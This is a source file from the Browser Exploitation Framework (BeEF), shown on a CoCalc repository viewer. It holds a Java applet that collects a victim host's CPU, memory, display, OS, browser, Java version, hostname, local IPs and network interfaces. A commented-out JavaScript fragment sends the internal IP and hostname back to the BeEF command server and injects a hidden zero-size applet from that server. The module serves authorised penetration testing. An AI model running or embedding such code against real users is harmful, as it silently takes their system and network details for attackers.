Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/host/get_system_info_java/getSystemInfo.java
1154 views
1
/*
2
* Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
* Browser Exploitation Framework (BeEF) - https://beefproject.com
4
* See the file 'doc/COPYING' for copying permission
5
*/
6
7
import java.applet.*;
8
import java.awt.*;
9
import java.net.*;
10
import java.util.*;
11
12
public class getSystemInfo extends Applet {
13
14
public getSystemInfo() {
15
super();
16
return;
17
}
18
19
public static String getInfo() {
20
21
String result = "";
22
23
// -- Processor -- //
24
try {
25
// System.out.println("Available processors (cores): "+Integer.toString(Runtime.getRuntime().availableProcessors()));
26
result += "Available processors (cores): "+Integer.toString(Runtime.getRuntime().availableProcessors())+"\n";
27
}
28
catch (Exception exception) {
29
//result += "Exception while gathering processor info: "+exception;
30
result += "Exception while gathering processor info\n";
31
}
32
33
// -- Memory -- //
34
try {
35
long maximumMemory = Runtime.getRuntime().maxMemory();
36
// System.out.println("Maximum memory (bytes): " + (maximumMemory == Long.MAX_VALUE ? "No maximum" : maximumMemory));
37
result += "Maximum memory (bytes): " + (maximumMemory == Long.MAX_VALUE ? "No maximum" : maximumMemory)+"\n";
38
// System.out.println("Free memory (bytes): " + Runtime.getRuntime().freeMemory());
39
result += "Free memory (bytes): " + Runtime.getRuntime().freeMemory()+"\n";
40
// System.out.println("Total memory (bytes): " + Runtime.getRuntime().totalMemory());
41
result += "Total memory (bytes): " + Runtime.getRuntime().totalMemory()+"\n";
42
}
43
catch (Exception exception) {
44
//result += "Exception while gathering memory info: "+exception;
45
result += "Exception while gathering memory info\n";
46
}
47
48
// -- Displays -- //
49
try {
50
GraphicsEnvironment ge = GraphicsEnvironment.getLocalGraphicsEnvironment();
51
// System.out.println("Default Screen: "+ge.getDefaultScreenDevice().getIDstring());
52
result += "Default Screen: "+ge.getDefaultScreenDevice().getIDstring()+"\n";
53
GraphicsDevice[] gs = ge.getScreenDevices();
54
for (int i=0; i<gs.length; i++) {
55
DisplayMode dm = gs[i].getDisplayMode();
56
// System.out.println(gs[i].getIDstring()+" Mode: "+Integer.toString(dm.getWidth())+"x"+Integer.toString(dm.getHeight())+" "+Integer.toString(dm.getBitDepth())+"bit @ "+Integer.toString(dm.getRefreshRate())+"Hertz");
57
result += gs[i].getIDstring()+" Mode: "+Integer.toString(dm.getWidth())+"x"+Integer.toString(dm.getHeight())+" "+Integer.toString(dm.getBitDepth())+"bit @ "+Integer.toString(dm.getRefreshRate())+"Hertz"+"\n";
58
}
59
}
60
catch (Exception exception) {
61
//result += "Exception while gathering display info: "+exception;
62
result += "Exception while gathering display info\n";
63
}
64
65
// -- OS -- //
66
try {
67
// System.out.println("OS Name: "+System.getProperty("os.name"));
68
result += "OS Name: "+System.getProperty("os.name")+"\n";
69
// System.out.println("OS Version: "+System.getProperty("os.version"));
70
result += "OS Version: "+System.getProperty("os.version")+"\n";
71
// System.out.println("OS Architecture: "+System.getProperty("os.arch"));
72
result += "OS Architecture: "+System.getProperty("os.arch")+"\n";
73
}
74
catch (Exception exception) {
75
//result += "Exception while gathering OS info: "+exception;
76
result += "Exception while gathering OS info\n";
77
}
78
79
// -- Browser -- //
80
try {
81
// System.out.println("Browser Name: "+System.getProperty("browser"));
82
result += "Browser Name: "+System.getProperty("browser")+"\n";
83
// System.out.println("Browser Version: "+System.getProperty("browser.version"));
84
result += "Browser Version: "+System.getProperty("browser.version")+"\n";
85
}
86
catch (Exception exception) {
87
//result += "Exception while gathering browser info: "+exception;
88
result += "Exception while gathering browser info\n";
89
}
90
91
// -- Java -- //
92
try {
93
// System.out.println("Java Vendor: "+System.getProperty("java.vendor"));
94
result += "Java Vendor: "+System.getProperty("java.vendor")+"\n";
95
// System.out.println("Java Version: "+System.getProperty("java.version"));
96
result += "Java Version: "+System.getProperty("java.version")+"\n";
97
// System.out.println("Java Specification Version: "+System.getProperty("java.specification.version"));
98
result += "Java Specification Version: "+System.getProperty("java.specification.version")+"\n";
99
// System.out.println("Java VM Version: "+System.getProperty("java.vm.version"));
100
result += "Java VM Version: "+System.getProperty("java.vm.version")+"\n";
101
}
102
catch (Exception exception) {
103
//result += "Exception while gathering java info: "+exception;
104
result += "Exception while gathering java info\n";
105
}
106
107
// -- Network -- //
108
try {
109
// System.out.println("Host Name: " + InetAddress.getLocalHost().getHostName());
110
result += "Host Name: " + java.net.InetAddress.getLocalHost().getHostName()+"\n";
111
// System.out.println("Host Address: " + InetAddress.getLocalHost().getHostAddress());
112
result += "Host Address: " + java.net.InetAddress.getLocalHost().getHostAddress()+"\n";
113
// System.out.println("Network Interfaces:");
114
result += "Network Interfaces (interface, name, IP):\n";
115
Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces();
116
while (networkInterfaces.hasMoreElements()) {
117
NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement();
118
result += networkInterface.getName() + ", ";
119
result += networkInterface.getDisplayName()+ ", ";
120
Enumeration inetAddresses = (networkInterface.getInetAddresses());
121
if(inetAddresses.hasMoreElements()){
122
while (inetAddresses.hasMoreElements()) {
123
InetAddress inetAddress = (InetAddress)inetAddresses.nextElement();
124
result +=inetAddress.getHostAddress() + "\n";
125
}
126
}else{
127
result += "\n"; // in case we can't retrieve the address of some network interfaces
128
}
129
}
130
}
131
catch (Exception exception) {
132
//result += "Exception while gathering network info: "+exception;
133
result += "Exception while gathering network info\n";
134
}
135
136
return result;
137
138
}
139
140
}
141
142
143
144
/*
145
if (beef.browser.isFF()) {
146
var internal_ip = beef.net.local.getLocalAddress();
147
var internal_hostname = beef.net.local.getLocalHostname();
148
149
if(internal_ip && internal_hostname) {
150
beef.net.send('<%= @command_url %>', <%= @command_id %>,
151
'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname);
152
}
153
} else {
154
//Trying to insert the Beeffeine applet
155
content = "<APPLET code='Beeffeine' codebase='"+beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/Beeffeine.class' width=0 height=0 id=beeffeine name=beeffeine></APPLET>";
156
$j('body').append(content);
157
internal_counter = 0;
158
//We have to kick off a loop now, because the user has to accept the running of the applet perhaps
159
160
*/
161
162